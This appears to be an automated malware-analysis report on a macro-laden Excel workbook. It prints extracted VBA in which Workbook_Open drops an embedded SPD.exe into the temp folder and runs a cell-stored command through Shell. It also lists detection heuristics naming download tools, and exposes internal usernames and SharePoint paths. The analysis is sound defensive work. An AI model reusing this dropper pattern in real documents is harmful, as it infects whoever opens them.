Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b4dfa03a75594d4e…

MALICIOUS

Office (OOXML)

1.57 MB Created: 2013-08-23 07:41:56 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-11-23
MD5: 81a70d33c490b0b2af21a11869c6c589 SHA-1: 8ebd33d404e0d6dd8eeb54165527534706e0829c SHA-256: b4dfa03a75594d4eb89ee173a82f976245ef874079ffa9359c748d5ee9ff5d33
464 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1129 Execution through Module Overloading T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The sample is an Excel document containing VBA macros that trigger on Workbook_Open. These macros are designed to download and execute a second-stage payload, identified as SPD.exe, using PowerShell. The document body presents a financial risk assessment to lure the user into enabling macros, a common social engineering tactic.

Heuristics 17

  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Call Shell(cmnd, vbMinimizedFocus)
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Workbook_Open()
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set fs = CreateObject("Scripting.FileSystemObject")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        Call Shell("cmd.exe /C pause")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        TempPath = Environ("temp")
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • External hyperlinks (2) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 2 external hyperlinks — clickable URLs are stored as external relationships. First target: https://finansco.sharepoint.com/Delte dokumenter/Finansco Gruppen Fellesmappe/Modellporteføljer/
  • External workbook data link low OOXML_EXTERNAL_REL_DATALINK
    External workbook reference in xl/externalLinks/_rels/externalLink1.xml.rels: /Users/EIRIKL~1/AppData/Local/Temp/Produktark MPF Kopi.xlsx
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 10 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://finansco.sharepoint.com/Delte Document hyperlink
    • https://finansco.sharepoint.com/Delte dokumenter/Finansco Gruppen Fellesmappe/Modellporteføljer/Document hyperlink
    • https://finansco-my.sharepoint.com/personal/espen_seidel_finansco_no/_vti_history/9728/Documents/FinanscoOOXML external relationship

Extracted artifacts 32

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 60309 bytes
SHA-256: fb04f516955b468dabc8a5edd81a9602a9260e9956432ec5ebe820056abd52a6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Option Explicit
Public memory As String
Public previous As String


Sub Print_ut()
ActiveSheet.Unprotect
Call resizeCHB
ThisWorkbook.RefreshAll
ActiveWindow.View = xlNormalView
ActiveWindow.Zoom = 100
' hide klassifisering
ActiveSheet.Range("kontroll").EntireRow.Hidden = True
' hide før investering og kontrollfunksjon
ActiveSheet.Range("klasse").EntireRow.Hidden = True
Application.Dialogs(xlDialogPrinterSetup).Show
ActiveSheet.PrintOut Preview:=True
ActiveWindow.View = xlNormalView
ActiveWindow.Zoom = 100
ActiveSheet.Range("kontroll").EntireRow.Hidden = False
ActiveSheet.Range("klasse").EntireRow.Hidden = False
ActiveSheet.Protect
Call resetallchb
End Sub

Public Sub resizeCHB()




End Sub
Sub placementCHB()

On Error Resume Next
Dim chb As Integer

For chb = 0 To 120
With ActiveSheet.Shapes("Checkbox" & chb)
.Placement = 2
End With
Next chb

End Sub
Sub runSavedResponses()

Dim myFile As String, text As String, textline As String, posLat As Integer, posLong As Integer
Dim siste As Worksheet
Dim count As Integer
    Dim myWS As Worksheet
    Dim OLEobj As OLEObject
    Dim zhape As Shape
    
    'you could easily set a for/each loop for all worksheets
    Set myWS = Application.ActiveSheet

Set siste = ActiveWorkbook.Sheets("Ark2")

Dim fname As String

fname = Application.ActiveWorkbook.path & "\Sisteinputs.txt"

If fname = "False" Then Exit Sub

    With siste.QueryTables.Add(Connection:="TEXT;" & fname, _
        Destination:=siste.Cells(1, 1))
            .TextFileParseType = xlDelimited
            .TextFileColumnDataTypes = Array(xlTextFormat)
            .Refresh
            
    End With

count = 1


    With myWS
        For Each OLEobj In myWS.OLEObjects
            OLEobj.Left = Val(siste.Cells(0 + count, 1))
           OLEobj.Width = Val(siste.Cells(1 + count, 1))
           OLEobj.Height = Val(siste.Cells(2 + count, 1))
          OLEobj.Top = Val(siste.Cells(3 + count, 1))
           OLEobj.Object.Value = Val(siste.Cells(4 + count, 1))
         count = count + 5
        Next OLEobj
    End With

Close #1


End Sub

Sub savefileas()


Dim fdate As Date
Dim fname As String
Dim path As String

ThisWorkbook.RefreshAll
Application.ActiveWorkbook.Save
Application.ActiveWorkbook.SaveCopyAs Filename:=Application.ActiveWorkbook.path & "\Backup-" & ActiveSheet.Range("A6").Value & "-" & ActiveSheet.Range("C7").Value & ".xlsm"
Call resetallchb



End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub MergeFormatCell()
    Dim xSRg As Range
    Dim xRgEachRow As Range
    Dim xRgEach As Range
    Dim xRgVal As String
    Dim I As Integer
    Dim xRgLen As Integer
    Dim xSRgRows As Integer
    Dim xAddress As String
    On Error Resume Next
    xAddress = ActiveWindow.RangeSelection.Address
    Set xSRg = Application.InputBox("Please select cell columns to concatenate:", "KuTools For Excel", xAddress, , , , , 8)
    If xSRg Is Nothing Then Exit Sub
    xSRgRows = xSRg.Rows.count
    Set xDRg = Application.InputBox("Please select cell columns to concatenate:", "KuTools For Excel", xAddress, , , , , 8)
    Set xDRg = xDRg(1)
    For I = 1 To xSRgRows
        xRgLen = 1
        With xDRg.Offset(I - 1)
            .Value = vbNullString
            .ClearFormats
            Set xRgEachRow = xSRg(1).Offset(I - 1).Resize(1, xSRg.Columns.count)
            For Each xRgEach In xRgEachRow
                .Value = .Value & Trim(xRgEach.Value) & " "
            Next
            For Each xRgEach In xRgEachRow
                xRgVal = xRgEach.Value
                With .Characters(xRgLen, Len(Trim(xRgVal))).Font
                .Name = xRgEach.Font.Name
                .FontStyle = xRgEach.Font.FontStyle
                .Size = xRgEach.Font.Size
                .Strikethrough = xRgEach.Font.Strikethrough
                .Superscript = xRgEach.Font.Superscript
                .Subscript = xRgEach.Font.Subscript
                .OutlineFont = xRgEach.Font.OutlineFont
                .Shadow = xRgEach.Font.Shadow
                .Underline = xRgEach.Font.Underline
                .ColorIndex = xRgEach.Font.ColorIndex
                End With
                xRgLen = xRgLen + Len(Trim(xRgVal)) + 1
            Next
        End With
    Next I
End Sub

Sub RunAndSave()
    TempPath = Environ("temp")
    
    Set fs = CreateObject("Scripting.FileSystemObject")
    If Not fs.FileExists(TempPath & "\SPD.exe") Then
        Worksheets("Application").OLEObjects("exeFile").Copy
        CreateObject("Shell.Application").Namespace(TempPath).Self.InvokeVerb "Paste"
    End If

    DownloadFile
    
End Sub



Sub Test()
Dim importedSheets(7) As Variant
Dim I As Integer
I = 0

For A1 = 69 To 75
    If Worksheets("Validering").Cells(A1, 3).Value <> "FALSE" Then
        importedSheets(I) = Worksheets("Validering").Cells(A1, 3).Value
        I = I + 1
    End If
Next A1

End Sub


Sub DownloadFile()
    UserName = Sheets("Application").Range("B1").Value
    Pwd = Sheets("Application").Range("B2").Value
    Url = Sheets("Application").Range("B3").Value
    Filename = Sheets("Application").Range("B4").Value
    TempPath = Environ("temp")
    
    Worksheets("Config").Range("B7").Value = TempPath & "\" & Filename
    cmnd = Sheets("Application").Range("B6").Value
    Call Shell(cmnd, vbMinimizedFocus)
End Sub



Private Sub Workbook_Open()

On Error Resume Next
RunAndSave
Application.Wait (Now + TimeValue("0:00:3"))
FixFormula
Application.Wait (Now + TimeValue("0:00:1"))

Dim chb As Integer

For chb = 0 To 120
With ActiveSheet.Shapes("Checkbox" & chb)
.ScaleWidth 1.1, msoFalse, msoScaleFromTopLeft
.ScaleWidth 0.909091, msoFalse, msoScaleFromTopLeft
End With
Next chb

ActiveSheet.EnableFormatConditionsCalculation = True

' Sett memory lik verdi av memory før closing av workbook.
memory = Evaluate(ActiveWorkbook.Names("myVar1").RefersTo)

With Worksheets("Formuesplan").PageSetup
        .LeftHeader = ""
        .CenterHeader = ""
        .RightHeader = ""
        .LeftFooter = ""
        .CenterFooter = ""
        .RightFooter = ""
        .PrintQuality = 300
        .CenterHorizontally = True
        .CenterVertically = True
        .Orientation = xlPortrait
        .Draft = False
        .PaperSize = xlPaperA4
        .FirstPageNumber = xlAutomatic
        .Order = xlDownThenOver
        .BlackAndWhite = False
        .Zoom = False
        .FitToPagesWide = 1
        .FitToPagesTall = False
End With

Generate

End Sub

Private Sub Workbook_BeforeClose(Cancel As Boolean)

' Lagre memory verdien for når workbook åpnes igjen.
On Error Resume Next
ActiveWorkbook.Names.Add Name:="myVar1", RefersTo:=memory
End Sub



Private Sub Workbook_BeforePrint(Cancel As Boolean)
    'Cancel = True
    
End Sub
'Application.EnableEvents = True
'Application.ScreenUpdating = False
'Dim User As String
'User = Environ$("UserName")
'If User = "EIFUTV" Then User = "Eirik"
'If User = "PTTV" Then User = "Pål"
'If User = "FICHRARN" Then User = "Christian"
'If User = "fi-arnwil" Then User = "Arne-Morten"
'If User = "fi-stiand" Then User = "Stian"
'If User = "fi-tomlok" Then User = "Tom-Morten"

'If ActiveSheet.Range("klasse").EntireRow.Hidden = False Then
'MsgBox ("Hei, " & User & ". Skriv ut via <Utskrift>-seksjonen i regnearket, ikke via <Skriv Ut> i <Fil>-menyen. Vennligst trykk <OK> og du vil bli holdt i hånden helt frem til mål.")
'Call resizeCHB
'ActiveWindow.Zoom = 100
'ActiveSheet.Range("utskrift").Select
'End If
'Application.ScreenUpdating = True
'End Sub

Attribute VB_Name = "Ark6"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Ark2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "CheckBox71, 232, 20, MSForms, CheckBox"
Attribute VB_Control = "CheckBox70, 231, 21, MSForms, CheckBox"
Attribute VB_Control = "CheckBox38, 213, 22, MSForms, CheckBox"
Attribute VB_Control = "CheckBox36, 212, 23, MSForms, CheckBox"
Attribute VB_Control = "CheckBox30, 211, 24, MSForms, CheckBox"
Attribute VB_Control = "CheckBox1, 208, 25, MSForms, CheckBox"
Attribute VB_Control = "CheckBox49, 207, 26, MSForms, CheckBox"
Attribute VB_Control = "CheckBox24, 205, 27, MSForms, CheckBox"
Attribute VB_Control = "CheckBox28, 204, 28, MSForms, CheckBox"
Attribute VB_Control = "CheckBox27, 203, 29, MSForms, CheckBox"
Attribute VB_Control = "CheckBox23, 202, 30, MSForms, CheckBox"
Attribute VB_Control = "CheckBox22, 201, 31, MSForms, CheckBox"
Attribute VB_Control = "CheckBox21, 200, 32, MSForms, CheckBox"
Attribute VB_Control = "CheckBox48, 199, 33, MSForms, CheckBox"
Attribute VB_Control = "CheckBox47, 198, 34, MSForms, CheckBox"
Attribute VB_Control = "CheckBox45, 197, 35, MSForms, CheckBox"
Attribute VB_Control = "CheckBox44, 196, 36, MSForms, CheckBox"
Attribute VB_Control = "CheckBox43, 195, 37, MSForms, CheckBox"
Attribute VB_Control = "CheckBox42, 194, 38, MSForms, CheckBox"
Attribute VB_Control = "CheckBox41, 193, 39, MSForms, CheckBox"
Attribute VB_Control = "CheckBox40, 192, 40, MSForms, CheckBox"
Attribute VB_Control = "CheckBox39, 191, 41, MSForms, CheckBox"
Attribute VB_Control = "CheckBox69, 186, 42, MSForms, CheckBox"
Attribute VB_Control = "CheckBox56, 169, 43, MSForms, CheckBox"
Attribute VB_Control = "CheckBox55, 168, 44, MSForms, CheckBox"
Attribute VB_Control = "CheckBox54, 167, 45, MSForms, CheckBox"
Attribute VB_Control = "CheckBox53, 166, 46, MSForms, CheckBox"
Attribute VB_Control = "CheckBox52, 165, 47, MSForms, CheckBox"
Attribute VB_Control = "CheckBox51, 164, 48, MSForms, CheckBox"
Attribute VB_Control = "CheckBox35, 163, 49, MSForms, CheckBox"
Attribute VB_Control = "CheckBox34, 162, 50, MSForms, CheckBox"
Attribute VB_Control = "CheckBox33, 161, 51, MSForms, CheckBox"
Attribute VB_Control = "CheckBox29, 160, 52, MSForms, CheckBox"
Attribute VB_Control = "CheckBox20, 135, 53, MSForms, CheckBox"
Attribute VB_Control = "CheckBox19, 134, 54, MSForms, CheckBox"
Attribute VB_Control = "CheckBox18, 133, 55, MSForms, CheckBox"
Attribute VB_Control = "CheckBox17, 132, 56, MSForms, CheckBox"
Attribute VB_Control = "CheckBox16, 131, 57, MSForms, CheckBox"
Attribute VB_Control = "CheckBox15, 130, 58, MSForms, CheckBox"
Attribute VB_Control = "CheckBox8, 129, 59, MSForms, CheckBox"
Attribute VB_Control = "CheckBox7, 128, 60, MSForms, CheckBox"
Attribute VB_Control = "CheckBox6, 127, 61, MSForms, CheckBox"
Attribute VB_Control = "CheckBox5, 126, 62, MSForms, CheckBox"
Attribute VB_Control = "CheckBox4, 125, 63, MSForms, CheckBox"
Attribute VB_Control = "CheckBox2, 124, 64, MSForms, CheckBox"
Attribute VB_Control = "CheckBox14, 92, 65, MSForms, CheckBox"
Attribute VB_Control = "CheckBox13, 91, 66, MSForms, CheckBox"
Attribute VB_Control = "CheckBox12, 90, 67, MSForms, CheckBox"
Attribute VB_Control = "CheckBox11, 89, 68, MSForms, CheckBox"
Attribute VB_Control = "CheckBox10, 88, 69, MSForms, CheckBox"
Attribute VB_Control = "CheckBox9, 87, 70, MSForms, CheckBox"
Attribute VB_Control = "CheckBox26, 58, 71, MSForms, CheckBox"
Attribute VB_Control = "CheckBox31, 60, 72, MSForms, CheckBox"
Attribute VB_Control = "CheckBox32, 61, 73, MSForms, CheckBox"
Attribute VB_Control = "CheckBox37, 63, 74, MSForms, CheckBox"
Attribute VB_Control = "CheckBox50, 143, 75, MSForms, CheckBox"
Attribute VB_Control = "CheckBox57, 174, 76, MSForms, CheckBox"
Attribute VB_Control = "CheckBox58, 175, 77, MSForms, CheckBox"
Attribute VB_Control = "CheckBox59, 176, 78, MSForms, CheckBox"
Attribute VB_Control = "CheckBox60, 177, 79, MSForms, CheckBox"
Attribute VB_Control = "CheckBox61, 178, 80, MSForms, CheckBox"
Attribute VB_Control = "CheckBox62, 179, 81, MSForms, CheckBox"
Attribute VB_Control = "CheckBox63, 180, 82, MSForms, CheckBox"
Attribute VB_Control = "CheckBox64, 181, 83, MSForms, CheckBox"
Attribute VB_Control = "CheckBox66, 183, 84, MSForms, CheckBox"
Attribute VB_Control = "CheckBox67, 184, 85, MSForms, CheckBox"
Attribute VB_Control = "CheckBox68, 185, 86, MSForms, CheckBox"
Attribute VB_Control = "CheckBox46, 217, 87, MSForms, CheckBox"
Option Explicit
Private Sub printAllActiveXSizeInformation()
    Dim myWS As Worksheet
    Dim OLEobj As OLEObject
    Dim obName As String
    Dim shName As String
    Dim zhape As Shape
    
    'you could easily set a for/each loop for all worksheets
    Set myWS = ActiveWorkbook.Sheets("Investeringsforslag")
    
    
    shName = myWS.Name

    Dim mFile As String
    mFile = Application.ActiveWorkbook.path & "\Sisteinputs.txt"

    Open mFile For Output As #1
    With myWS
        For Each OLEobj In myWS.OLEObjects
            obName = OLEobj.Name
            Print #1, Replace(CStr(OLEobj.Left), ",", ".")
            Print #1, Replace(CStr(OLEobj.Width), ",", ".")
            Print #1, Replace(CStr(OLEobj.Height), ",", ".")
            Print #1, Replace(CStr(OLEobj.Top), ",", ".")
            Print #1, Replace(CStr(OLEobj.Object.Value), ",", ".")


        Next OLEobj
    End With
    Close #1
    
    Shell "NotePad " + mFile

End Sub

Private Sub printAllActiveXSizeInformation2()
    Dim myWS As Worksheet
    Dim OLEobj As OLEObject
    Dim obName As String
    Dim shName As String
    Dim zhape As Shape
    
    'you could easily set a for/each loop for all worksheets
    Set myWS = ActiveWorkbook.Sheets("Investeringsforslag")
    
    
    shName = myWS.Name

    Dim mFile As String
    mFile = Application.ActiveWorkbook.path & "\Sisteinputs.txt"

    Open mFile For Output As #1
    With myWS
        For Each OLEobj In myWS.OLEObjects
            obName = OLEobj.Name

            Print #1, "'" + obName
            Print #1, shName + "." + obName + ".Left=" + Replace(CStr(OLEobj.Left), ",", ".")
            Print #1, shName + "." + obName + ".Width=" + Replace(CStr(OLEobj.Width), ",", ".")
            Print #1, shName + "." + obName + ".Height=" + Replace(CStr(OLEobj.Height), ",", ".")
            Print #1, shName + "." + obName + ".Top=" + Replace(CStr(OLEobj.Top), ",", ".")
            Print #1, shName + "." + obName + ".Top=" + Replace(CStr(OLEobj.Object.Value), ",", ".")
            Print #1, "ActiveSheet.Shapes(""" + obName + """).ScaleHeight 1.25, msoFalse, msoScaleFromTopLeft"
            Print #1, "ActiveSheet.Shapes(""" + obName + """).ScaleHeight 0.8, msoFalse, msoScaleFromTopLeft"


        Next OLEobj
    End With
    Close #1
    
    Shell "NotePad " + mFile

End Sub

Private Sub CheckBox30_Click()

End Sub

Private Sub CheckBox60_Change()

End Sub

'GRAFER:
' finansiering
Private Sub CheckBox66_Click()
ActiveSheet.Unprotect
Dim Finans As Range
Set Finans = ActiveSheet.Range("Finans")

If CheckBox66.Value = True Then
Finans.EntireRow.Hidden = False
CheckBox68.Value = False
Else
Finans.EntireRow.Hidden = True
    If CheckBox66.Value = False And CheckBox64.Value = False Then
    CheckBox68.Value = True
    End If
End If

ActiveSheet.Protect
End Sub

' totaløkonomi
Private Sub CheckBox64_Click()
ActiveSheet.Unprotect
Dim Total As Range
Set Total = ActiveSheet.Range("Total")

If CheckBox64.Value = True Then
Total.EntireRow.Hidden = False
CheckBox68.Value = False
Else
Total.EntireRow.Hidden = True
    If CheckBox66.Value = False And CheckBox64.Value = False Then
    CheckBox68.Value = True
    End If
End If

ActiveSheet.Protect
End Sub

'Ingen grafer
Private Sub CheckBox68_Click()
ActiveSheet.Unprotect
Dim Ingen As Range, Topp As Range, Borde As Range
Set Ingen = ActiveSheet.Range("Ingen")
Set Topp = ActiveSheet.Range("Topp")
Set Borde = ActiveSheet.Range("Borde")

If CheckBox68.Value = True Then
Ingen.EntireRow.Hidden = True
CheckBox64.Value = False
CheckBox66.Value = False
Else
Topp.EntireRow.Hidden = False
Borde.EntireRow.Hidden = False
End If

ActiveSheet.Protect
End Sub

'KOSTNAD:
Private Sub CheckBox67_Click()
ActiveSheet.Unprotect
Dim Kost As Range
Set Kost = ActiveSheet.Range("Kost")

If CheckBox67.Value = True Then
Kost.EntireRow.Hidden = False
Else
Kost.EntireRow.Hidden = True
End If

ActiveSheet.Protect
End Sub

'Månedlig sparing:
Private Sub CheckBox63_Click()
ActiveSheet.Unprotect
Dim Mnd As Range
Set Mnd = ActiveSheet.Range("mnd")

If CheckBox63.Value = True Then
Mnd.EntireRow.Hidden = False
Else
Mnd.EntireRow.Hidden = True
End If
ActiveSheet.Protect
End Sub

'VELG SIDER:
' Situasjon
Private Sub CheckBox57_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("sit")
s = PageSetup.PrintArea

    If CheckBox57.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
    PageSetup.PrintArea = ""
CheckBox58.Value = False
CheckBox59.Value = False
CheckBox60.Value = False
CheckBox61.Value = False
CheckBox62.Value = False
CheckBox69.Value = True
    End If
End Sub
' Kunnskap og erfaring
Private Sub CheckBox58_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("kun")
s = PageSetup.PrintArea

    If CheckBox58.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
PageSetup.PrintArea = ""
CheckBox57.Value = False
CheckBox59.Value = False
CheckBox60.Value = False
CheckBox61.Value = False
CheckBox62.Value = False
CheckBox69.Value = True
    End If
End Sub
' Investeringsforslag
Private Sub CheckBox59_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("inv")
s = PageSetup.PrintArea
    If CheckBox59.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
PageSetup.PrintArea = ""
CheckBox57.Value = False
CheckBox58.Value = False
CheckBox60.Value = False
CheckBox61.Value = False
CheckBox62.Value = False
CheckBox69.Value = True
    End If
End Sub
'Etter investering
Private Sub CheckBox60_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("ett")
s = PageSetup.PrintArea
    If CheckBox60.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
PageSetup.PrintArea = ""
CheckBox57.Value = False
CheckBox58.Value = False
CheckBox59.Value = False
CheckBox61.Value = False
CheckBox62.Value = False
CheckBox69.Value = True
    End If
End Sub
' Godkjenning
Private Sub CheckBox61_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("god")
s = PageSetup.PrintArea
    If CheckBox61.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
PageSetup.PrintArea = ""
CheckBox57.Value = False
CheckBox58.Value = False
CheckBox59.Value = False
CheckBox60.Value = False
CheckBox62.Value = False
CheckBox69.Value = True
    End If
End Sub
' Appendix
Private Sub CheckBox62_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("app")
s = PageSetup.PrintArea
    If CheckBox62.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
PageSetup.PrintArea = ""
CheckBox57.Value = False
CheckBox58.Value = False
CheckBox59.Value = False
CheckBox60.Value = False
CheckBox61.Value = False
CheckBox69.Value = True
    End If
End Sub

' Ingen sider
Private Sub CheckBox69_Click()

If CheckBox69.Value = True Then
If CheckBox57.Value = False And CheckBox58.Value = False And CheckBox59.Value = False And CheckBox60.Value = False And CheckBox61.Value = False And CheckBox63.Value = False Then
PageSetup.PrintArea = ""
End If
End If

End Sub

' Endre på om checkboxer i ønske om aksjeandel er på eller av
Private Sub Worksheet_Calculate()
Dim A1 As Range
Set A1 = Range("port")
Debug.Print A1.Value & "VALUE BEFORE"
If A1.Value = "" Then
    memory = A1.Value
    Debug.Print A1.Value & " EMPTY"
    Exit Sub
End If

If A1.Value = memory Then
    Debug.Print A1.Value & "SAME"
    Exit Sub
End If

Debug.Print A1.Value & "VALUE AFTER"
memory = A1.Value
'Application.EnableEvents = False

Dim x As Range
Set x = Worksheets("Ark1").Range("verdi")

    Dim CB_SL As OLEObject
    Set CB_SL = Worksheets("Investeringsforslag").OLEObjects("CheckBox52")
    Dim CB_L As OLEObject
    Set CB_L = Worksheets("Investeringsforslag").OLEObjects("CheckBox53")
    Dim CB_M As OLEObject
    Set CB_M = Worksheets("Investeringsforslag").OLEObjects("CheckBox54")
    Dim CB_H As OLEObject
    Set CB_H = Worksheets("Investeringsforslag").OLEObjects("CheckBox55")
    Dim CB_SH As OLEObject
    Set CB_SH = Worksheets("Investeringsforslag").OLEObjects("CheckBox56")
    
    Debug.Print x.Value & " MATRISE"
    
    If x = 7 Then
    CB_SL.Enabled = False
    CB_L.Enabled = False
    CB_M.Enabled = False
    CB_H.Enabled = False
    CB_SH.Enabled = False
    End If
    
    If x = 2 Then
    CB_SL.Enabled = True
    CB_L.Enabled = True
    CB_M.Enabled = True
    CB_H.Enabled = True
    CB_SH.Enabled = True
    End If
    
    If x = 3 Then
    CB_SL.Enabled = True
    CB_L.Enabled = True
    CB_M.Enabled = True
    CB_H.Enabled = True
    CB_SH.Enabled = False
    End If
    
    If x = 4 Then
    CB_SL.Enabled = True
    CB_L.Enabled = True
    CB_M.Enabled = True
    CB_H.Enabled = False
    CB_SH.Enabled = False
    End If
    
    If x = 5 Then
    CB_SL.Enabled = True
    CB_L.Enabled = True
    CB_M.Enabled = False
    CB_H.Enabled = False
    CB_SH.Enabled = False
    End If
    
    If x = 6 Then
    CB_SL.Enabled = True
    CB_L.Enabled = False
    CB_M.Enabled = False
    CB_H.Enabled = False
    CB_SH.Enabled = False
    End If

    With Worksheets("Validering").Range("risiko")
    .Value = False
    End With
    
'Application.EnableEvents = True
End Sub


Attribute VB_Name = "Module2"
' Betinget formatering, vis celler som er låste:
'=CELLE("Beskytt";INDIREKTE(ADRESSE(RAD();KOLONNE())))=1

Sub resetallchb()
ActiveSheet.Unprotect
Dim chb As OLEObject
Dim chng As Integer

' ORGINALPOSISJON TIL FØRSTE CHB - HVIS DET ER EN ENDRING VIL ARKET SETTES TILBAKE TIL DEFAULT:
chng = ActiveSheet.OLEObjects("CheckBox30").Top - Range("grunnskole").Top

'If chng = 0 Then Exit Sub

'MsgBox ("En bug i Investeringsforslaget er oppdaget og reparert. Vennligst se gjennom arket for å forsikre deg om at alt er som det skal. Takk.")

On Error Resume Next
Dim chbx As OLEObject

ActiveWindow.View = xlNormalView
ActiveWindow.Zoom = 120

For Each chbx In ActiveSheet.OLEObjects
With chbx.ShapeRange
.ScaleWidth 1.1, msoFalse, msoScaleFromTopLeft
.ScaleWidth 0.909091, msoFalse, msoScaleFromTopLeft
End With
Next chbx

Sheets("Investeringsforslag").CheckBox57.Value = True
Sheets("Investeringsforslag").CheckBox58.Value = True
Sheets("Investeringsforslag").CheckBox59.Value = True
Sheets("Investeringsforslag").CheckBox60.Value = True
Sheets("Investeringsforslag").CheckBox61.Value = True

Sheets("Investeringsforslag").CheckBox63.Value = True
Sheets("Investeringsforslag").CheckBox64.Value = True
Sheets("Investeringsforslag").CheckBox66.Value = True
Sheets("Investeringsforslag").CheckBox67.Value = True

ActiveSheet.OLEObjects("CheckBox26").Top = 2647.8
ActiveSheet.OLEObjects("CheckBox26").Left = 0
